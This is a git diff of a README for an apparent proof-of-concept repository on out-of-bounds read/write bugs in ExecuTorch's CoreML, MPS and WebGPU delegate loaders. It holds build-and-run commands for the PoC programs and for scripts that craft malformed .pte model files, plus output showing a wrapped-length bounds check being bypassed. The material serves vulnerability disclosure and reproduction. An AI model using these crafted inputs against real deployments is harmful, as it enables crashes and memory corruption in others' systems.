Update README.md

README.md

@@ -1,6 +1,6 @@
-# PoC — ExecuTorch CoreML `inmemoryfs` integer-overflow → OOB (read + write)
+# PoC — ExecuTorch delegate-loader OOB cluster (MPS + WebGPU runtime crashes + CoreML logic)
 
-Two minimal, self-contained C++ programs that reproduce the vulnerable **logic** of `pytorch/executorch`'s CoreML in-memory-filesystem loader **verbatim**, so the memory-safety violation is reproducible in seconds with no ExecuTorch build. Both compile with stock `clang++` and standard headers only.
+Two minimal, self-contained C++ programs that reproduce the vulnerable **logic** of `pytorch/executorch`'s CoreML in-memory-filesystem loader **verbatim**, so the memory-safety violation is reproducible in seconds with no ExecuTorch build. Both compile with stock `clang++` and standard headers only. **Updated 2026-07-14:** full `.pte`-triggered runtime crashes now also included for MPS and WebGPU backends.
 
 ## What's here
 | File | Demonstrates | Maps to (executorch @ main) |
@@ -13,7 +13,7 @@ Two minimal, self-contained C++ programs that reproduce the vulnerable **logic**
 
 The two structs/functions in each file are copied **verbatim** from the cited source so the crash maps 1:1 to the real code.
 
-## Build & run (macOS/Linux, clang or gcc)
+## Build & run — CoreML logic PoCs (macOS/Linux, clang or gcc)
 ```sh
 # PoC 1 — overflow bypasses the bounds check, OOB read completes:
 clang++ -std=c++17 -g -o p1 poc_range_overflow_oob_read.cpp && ./p1
@@ -23,7 +23,36 @@ clang++ -std=c++17 -g -o p2 poc_oob_write.cpp && ./p2 ; echo "exit=$?" # 139 = S
 ```
 For a sanitizer-confirmed report instead of a bare segfault, add `-fsanitize=address` (on macOS run with `ASAN_OPTIONS=symbolize=0` — the symbolizer can hang locally).
 
-## Observed output (see `output.txt`)
+## Build & run — Runtime MPS PoC (macOS only, Xcode CLT required)
+```sh
+cd runtime_mps_poc
+python3 craft_malformed_mps_pte.py   # generates malformed_mps.pte
+
+clang++ -std=c++17 -fobjc-arc -g -fsanitize=undefined \
+    -Ischemas \
+    -framework Foundation -framework Metal \
+    -framework MetalPerformanceShaders \
+    -framework MetalPerformanceShadersGraph \
+    runtime_poc_mps.mm -o poc_mps
+
+./poc_mps malformed_mps.pte   # exit 134 (UBSan SEGV in objc_release) or exit 137 (SIGKILL)
+```
+
+## Build & run — Runtime WebGPU PoC (macOS/Linux, clang required)
+```sh
+cd runtime_webgpu_poc
+python3 craft_malformed_webgpu_pte.py   # generates malformed_webgpu.pte
+
+# Requires flatbuffers headers — any install works, e.g. brew install flatbuffers
+clang++ -std=c++17 -g -fsanitize=undefined \
+    -I$(brew --prefix flatbuffers)/include \
+    -Ischemas \
+    runtime_poc_webgpu.cpp -o poc_webgpu
+
+./poc_webgpu malformed_webgpu.pte   # exit 134 (UBSan SEGV, constant_data_ + 0xffffffffffff)
+```
+
+## Observed output — CoreML PoCs (see `output.txt`)
 ```
 [*] length()=offset+size = 0 (wrapped past SIZE_MAX)
 [*] guard 'length() > size()': 0 > 16 -> PASS (bypassed!)